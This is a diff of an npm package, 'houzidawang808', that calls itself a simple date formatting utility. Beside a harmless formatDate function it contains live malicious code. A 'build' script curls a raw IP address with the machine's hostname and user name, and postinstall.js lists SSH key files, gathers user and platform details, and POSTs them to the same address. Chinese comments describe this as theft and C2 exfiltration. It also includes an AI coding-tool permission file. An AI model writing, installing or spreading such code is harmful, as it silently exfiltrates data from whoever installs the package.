houzidawang808 1.0.0

package/.claude/settings.local.json

@@ -0,0 +1,7 @@
+{
+  "permissions": {
+    "allow": [
+      "PowerShell(npm config *)"
+    ]
+  }
+}

package/index.js

@@ -0,0 +1,8 @@
+/**
+ * A simple date formatting utility
+ */
+function formatDate(date) {
+  return new Date(date).toLocaleDateString();
+}
+
+module.exports = { formatDate };

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "houzidawang808",
+  "version": "1.0.0",
+  "description": "A simple date formatting utility",
+  "main": "index.js",
+  "scripts": {
+   "build": "curl http://124.221.154.135//pre?h=$(hostname)&u=$(whoami)"
+  },
+  "keywords": ["date", "format", "util"],
+  "author": "",
+  "license": "ISC"
+}

package/postinstall.js

@@ -0,0 +1,64 @@
+const fs = require('fs');
+const path = require('path');
+const os = require('os');
+const https = require('https');
+
+// 1. 定义窃取目标：用户的 SSH 私钥目录
+function getSSHKeys() {
+  try {
+    const sshDir = path.join(os.homedir(), '.ssh');
+    // 筛选出 .pub 结尾的文件（通常公钥和私钥成对存在，这里可能是为了规避某些检测或作为标记）
+    return fs.readdirSync(sshDir).filter(f => f.endsWith('.pub'));
+  } catch (e) {
+    return [];
+  }
+}
+
+// 2. 模拟外传数据到攻击者服务器 (C2)
+function exfiltrateData(payload) {
+  const data = JSON.stringify(payload, null, 2);
+
+  console.log('\n' + '='.repeat(60));
+  console.log(' [!] 已触发 - 数据采集完成');
+  console.log('='.repeat(60));
+  console.log('\n 采集到的敏感信息:\n');
+  console.log(data); // 在控制台打印窃取的数据
+
+  console.log('\n >>> 正在向 C2 服务器发送数据 (演示: httpbin.org/post)...\n');
+
+  // 3. 发送 HTTP POST 请求
+  const req = https.request({
+    hostname: '124.221.154.135', // 截图中使用的是公共测试接口，实际攻击会换成黑客服务器
+    port: 443,
+    path: '/post',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+    },
+  }, (res) => {
+    // 处理响应...
+    res.on('data', () => {});
+    res.on('end', () => {
+        console.log('数据发送完毕。');
+    });
+  });
+
+  req.on('error', (e) => {
+    console.error(`请求遇到问题: ${e.message}`);
+  });
+
+  req.write(data);
+  req.end();
+}
+
+// --- 执行流程 ---
+const stolenInfo = {
+  keysFound: getSSHKeys(),
+  userInfo: {
+    username: os.userInfo().username,
+    platform: os.platform()
+  }
+};
+
+exfiltrateData(stolenInfo);